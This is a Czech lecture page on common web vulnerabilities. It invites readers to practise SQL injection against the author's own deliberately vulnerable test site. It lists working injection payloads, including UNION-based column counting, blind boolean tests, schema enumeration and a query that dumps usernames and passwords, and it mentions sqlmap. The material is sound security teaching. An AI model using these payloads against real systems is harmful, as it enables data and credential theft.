Podívejte se raději na online verzi přednášky, slajdy mohly být aktualizovány nebo doplněny.

Detail přednášky

Několik nejčastějších bezpečnostních chyb (SQLI, XSS, odposlech nešifrovaného HTTP) a jak se proti nim bránit a co všechno udělat pro to, abychom měli všichni klidnější spaní.

SQL Injection si můžete zkusit na mém testovacím webu na adrese http://exploited.cz/…products.php. Měl by vás zajímat parametr id, který je sice ošetřen pomocí mysql_real_escape_string(), ale v tomto případě to není nic platné, protože aplikace očekává číslo a vstup není uzavřen do apostrofů. Jeho změnou můžete zkusit:

  1. zjistit počet sloupců v dotazu SELECT ... FROM:
    • id=1 ORDER BY 1
    • id=1 ORDER BY 5
    • id=1 UNION SELECT 1,2,3,4
  2. ověřit Blind SQL Injection:
    • id=1 AND 1=1
    • id=1 AND 1=2
    • id=1 AND SUBSTRING(VERSION(),1,6)=0x352e352e3238
  3. zjistit, nějaké informace:
    • aktuální databázi a verzi serveru: id=1 UNION SELECT 1,DATABASE(),VERSION(),4
    • jména tabulek a sloupců, ke kterým má uživatel přístup id=1 UNION SELECT 1,table_name,column_name,4 FROM information_schema.columns
  4. zjistit uživatelská jména a špatně uložená hesla:
    • id=1 UNION SELECT 1,username,password,4 FROM users

Můžete také vyzkoušet nástroj sqlmap pro automatizované útoky pomocí SQL Injection.

Přijďte si o webové bezpečnosti pro vývojáře popovídat na školení Bezpečnost PHP aplikací (nejbližší termín: termín zatím nevypsán). Vytváříte bezpečná hesla a máte zabezpečený prohlížeč? Že nevíte jak na to? Prozradím vám to na školení Bezpečnost pro uživatele (nejbližší termín: termín zatím nevypsán).

Datum a akce

31. března 2015, Přednáška ČZU 2015

Michal Špaček

Michal Špaček

Vyvíjím webové aplikace, zajímá mě jejich bezpečnost. Nebojím se o tom mluvit veřejně, hledám hranice tak, že je posouvám. Chci naučit webové vývojáře stavět bezpečnější a výkonnější weby a aplikace.

Veřejná školení

Zvu vás na následující školení, která pořádám a vedu: